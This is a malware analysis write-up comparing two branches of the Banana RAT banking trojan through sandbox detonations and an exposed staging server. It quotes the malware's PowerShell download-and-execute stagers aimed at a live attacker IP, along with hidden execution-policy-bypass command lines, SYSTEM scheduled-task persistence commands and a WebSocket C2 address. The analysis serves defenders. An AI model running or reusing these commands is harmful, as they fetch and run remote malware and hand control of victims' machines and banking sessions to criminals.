Banana RAT Evolves: Comparing Two Recent Branches Through ANY.RUN 

Editor’s note: The analysis is authored by Moises Cerqueira, malware researcher & threat hunter. You can find Moises on LinkedIn and X.

This analysis started with an exposed public index on 198[.]245[.]53[.]26, discovered via Shodan. What made it interesting was not just the server exposure itself, but the fact that it lets us compare two different Banana RAT branches tied to the same infrastructure.

The older detonation, analyzed on May 25, 2026, used an ETW-themed installation path and fake Microsoft naming. The newer detonation, analyzed on June 09, 2026, moved to randomized installation identifiers, VBS-assisted persistence, and WebSocket C2 over a hashed testewin.com subdomain.

That difference is important. Instead of seeing a single sample in isolation, we can see how the malware evolved while keeping the same staging host. This gives defenders more than a one-off IOC list: it shows how the operator changed persistence, transport, and artifact naming between two live branches.

This article focuses on three questions:

• What the older branch did on disk, in memory, and on the network.
• What changed in the newer branch.
• Which indicators remained stable across both branches.

Why This Sample Matters

Banana RAT is already known for targeting Brazilian financial activity, especially banking sessions and Pix-related fraud. On its own, that is not enough to justify another write-up. What makes this case worth publishing is the branch evolution visible through two detonations and one exposed server.

The public index on 198[.]245[.]53[.]26 exposed not only stage files such as st.php, st2.txt, and msedge.txt, but also operational tooling such as servidor_completo_pool.py and ofuscador.py. This was not just a payload host – it appeared to be active delivery infrastructure with variant-generation logic on the backend.

That creates a useful story for readers:

• The same staging host serves both an older and a newer branch.
• The operator changed artifact naming and persistence style.
• The newer payload still keeps a fallback path that overlaps with older infrastructure choices.

Exposed Infrastructure: Payload Generator and Obfuscator

servidor_completo_pool.py

This is a FastAPI-based service that acts as a production payload distribution backend. Its most notable characteristics are: a pool-based pre-generation of payload variants, source payloads read from /var/www/html, and exposed endpoints including /proteger, /warmup, /stats, and /folders. The script includes multiple obfuscation layers with domain, path, and string transformation logic, and it explicitly protects scheduled task and registry persistence strings during transformation.

This is consistent with a live malware builder designed to generate polymorphic payload variants on demand.

ofuscador.py

This helper script converts PowerShell commands into an ASCII-character reconstruction wrapper inside a BAT launcher. It converts each character to ord(), rebuilds the command using [char[]], and executes the result with iex. The output is the kind of bat-wrapped PowerShell one-liner used as an initial lure.

Samples and Hashes

The matching SHA256 between payload_new.php.malw and the extracted runtime payload closes the loop between public infrastructure, sandbox telemetry, and recovered runtime artifact.

The Older Detonation: ETW-Themed Branch

Staging and First Execution

The older detonation analyzed Fatura-BtgPactual-22568.bat (SHA256 BC4C29BC…C0C), tagged by ANY.RUN as a PowerShell-based loader. The staging chain was straightforward:

• GET http://198[.]245[.]53[.]26/st.txt
• GET http://198[.]245[.]53[.]26/payload.php
• The visible PowerShell one-liner used was:

powershell "$po='http://198.245.53.26/st.txt';iex(irm $po)" 

This anchors the older branch to the same host later used by the newer branch. The difference is in the second-stage naming and the final payload behavior, not in the initial staging server.

Disk Artifacts and Persistence

The older branch used recognizable, static installation artifacts:

• C:\Users\Public\Documents\msedge.txt
• C:\Users\admin\AppData\Roaming\Microsoft\Diagnosis\ETW\msedgeupdate.txt
• C:\ProgramData\Microsoft\Diagnosis\ETW\msedgeupdate.txt
• C:\Users\admin\AppData\Roaming\Microsoft\Diagnosis\ETW\launcher.exe
• C:\ProgramData\Microsoft\Diagnosis\ETW\MicrosoftEdgeUpdateCore.exe

Additional artifacts included client.pid, client_debug.log, install.token, user_process.log, and process_7780.log. ANY.RUN behavior showed: hidden PowerShell execution, base64-encoded PowerShell, task-scheduler-backed execution, and attempts to relaunch through an -InstallService path.

Notable command lines:

"powershell.exe" -NoP -EP Bypass -W Hidden -c "$env:MSEDGE_SKIP_UAC='1'; 
 IEX (gc '...\ETW\msedgeupdate.txt' -Raw)"

"powershell.exe" -ExecutionPolicy Bypass -Command 
 "& ([ScriptBlock]::Create((gc '...\msedgeupdate.txt' -Raw))) 
 -ScriptPath '...\msedgeupdate.txt' -InstallService" 

Older Branch C2

The older branch used a pseudo-Microsoft hostname: c.windowns-cdn.com resolving to 149[.]56[.]12[.]51, with the active connection going to 149[.]56[.]12[.]51:443 (owner: powershell.exe PID 5784). This was functional but easier to cluster once defenders noticed the typo in ‘windowns’.

The Newer Detonation: Dynamic SvcName and WebSocket Branch

Staging and Payload Delivery

The newer detonation analyzed st.php.malw (SHA256 E9D918FF…66D). The staging pattern still pointed to 198[.]245[.]53[.]26, but the stage file changed from st.txt to st.php:

• GET http://198[.]245[.]53[.]26/st.php
• GET http://198[.]245[.]53[.]26/payload.php

The staging PowerShell now enforced TLS 1.2:

"powershell.exe" -NoP -EP Bypass -W Hidden -c 
 "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; 
 $env:_xR='1';irm http://198.245.53.26/st.php|iex" 

Persistence Model

The newer branch uses a cleaner and more flexible persistence model. Instead of fixed ETW-themed names, it builds a Microsoft-looking directory under ProgramData, writes the runtime payload there, then creates a VBS launcher at C:\ProgramData\Microsoft\7c70c4282dfc72fa\c9dba5b0552d.vbs.

The runtime payload explicitly sets:

TaskName = SvcName

And creates a hidden Scheduled Task running as SYSTEM:

Register-ScheduledTask -TaskName $taskName
New-ScheduledTaskTrigger -AtStartup
New-ScheduledTaskPrincipal -UserId "SYSTEM" -RunLevel Highest -LogonType ServiceAccount

In this detonation, the task name was 7c70c4282dfc72fa. If the malware is not elevated yet, it supports a fallback under HKCU\Software\Microsoft\Windows\CurrentVersion\Run – the sample can survive under the user context first, then migrate into a SYSTEM-level scheduled task later.

Registry writes observed:

• HKCU\Software\Microsoft\dc98339fa461 → SvcName = 7c70c4282dfc72fa, FileName = c9dba5b0552d879be654
• HKCU\Software\Microsoft\Windows → CU = HKCU:\Software\Microsoft\dc98339fa461
• HKCU…\Internet Settings\ZoneMap → ProxyBypass=1, IntranetName=1, UNCAsIntranet=1, AutoDetect=0

WebSocket C2 and Host-Derived Domains

Instead of the older windowns-cdn pattern, the runtime payload builds a host-specific domain from the victim’s MachineGuid: MD5(MachineGuid).testewin.com. In this detonation the resolved domain was 52facc3b24f8bad9c5c56819e385f3a1.testewin.com, and the payload connected to:

wss://52facc3b24f8bad9c5c56819e385f3a1.testewin.com:443/agent

ANY.RUN showed the domain resolving to Cloudflare addresses 104[.]21.39.21 and 172[.]67[.]142[.]55. The runtime payload also contains a fallback domain (cdn.testewin.com), a fallback IP (149[.]56[.]12[.]51), protocol version 11.07-FAST-RECONNECT, and protocol magic LQWP. That fallback IP links the newer branch directly to the older one.

Threat Intelligence Classification: Chronology and Analytical Assessments

To provide a rigorous analytical framework, this campaign’s technical elements are broken down into observed telemetry, analytical inferences derived from infrastructure leakage, and historical baselines.

Prior Reporting & Legacy Baseline

• Infrastructure Origin: Historical tracking from May 2026 established the initial staging footprint on the IP 198[.]245[.]53[.]26, utilizing primitive HTTP staging paths (/st.txt).
• Static Execution Blueprint: The older branch relied entirely on static, predictable installation targets themed after Windows Event Tracing (ETW) logs (\Microsoft\Diagnosis\ETW) and a single pseudo-Microsoft C2 domain (c.windowns-cdn.com).

Observed Telemetry (Factual Artifacts)

• Exposed Staging Infrastructure: Identification of an open directory on 198[.]245[.]53[.]26 exposing the production backend framework, including servidor_completo_pool.py (a FastAPI payload generation manager) and ofuscador[.]py.
• Dynamic Endpoint Execution: Sandbox execution of the June 2026 branch (st[.]php.malw) confirmed a migration to runtime-generated paths based on the victim’s environment and a VBScript launcher wrapper.
• Encrypted WebSocket Transport: Network telemetry confirmed C2 migration to secure WebSockets (wss://.testewin.com:443/agent) routing through Cloudflare edges (104[.]21[.]39[.]21 / 172[.]67[.]142[.]55).

Analytical Inferences

• Malware-as-a-Service (MaaS) Engine: The recovery of servidor_completo_pool.py and its asynchronous pre-generation functions (code_pool.warmup_all()) strongly infers that the threat actors are running an automated, on-demand variant distribution platform to supply multiple affiliates.
• Defeating Bulk Network Clustering: The automated generation of unique subdomains derived from the victim’s MachineGuid is a calculated architectural choice. It ensures that defense mechanisms cannot sinkhole or block the core C2 infrastructure via generic domain-level blacklisting without risking collateral disruption of legitimate fronting services.
• Evasion Optimization Gaps: While the operators successfully upgraded their network transport layers (WebSockets/Cloudflare), Cloudflare is primarily utilized here to obscure the backend origin infrastructure and complicate direct IP-based blocking. However, since the campaign relies on a dedicated malicious apex domain (*.testewin.com), defenders can effectively deploy blocks at the domain, SNI, or DNS level without risking collateral disruption to unrelated legitimate services hosted behind Cloudflare.

Execution Flow Comparison

Capability Assessment

Based on payload content, sandbox behavior, and prior branch context, this branch supports:

• Hidden PowerShell staging and dynamic host-specific installation
• Persistence via Scheduled Task (preferred) and Run key fallback
• WebSocket C2 with resilient reconnect logic (11.07-FAST-RECONNECT)
• Screen and session monitoring
• Remote input capability
• System and process discovery
• File transfer and enumeration
• Key input tracking and screen capture / overlay workflows
• Runtime C# compilation via csc.exe and cvtres.exe

This is not a downloader. It is a fully-featured banking-oriented remote access payload.

MITRE ATT&CK Mapping

Conclusion

The exposed server at 198[.]245[.]53[.]26 gave a rare opportunity to compare two related Banana RAT branches through live infrastructure, sandbox telemetry, and recovered payloads. The older branch used ETW-themed paths, static Microsoft-looking names, and a typo-based pseudo-Microsoft C2 identity. The newer branch kept the same staging concept but moved to randomized install identifiers, better-structured SYSTEM persistence, and a WebSocket channel built around a hashed testewin.com subdomain.

The main takeaways are:

The staging host remained stable across both detonations.

The payload branch changed significantly between May 25, 2026 and June 09, 2026.

The newer runtime payload recovered from disk exactly matches the sandbox-dropped payload (same SHA256).

The fallback IP 149[.]56[.]12[.]51 is a reliable cross-branch anchor.

The public index exposed not only stage files but also backend tooling consistent with active, polymorphic payload generation.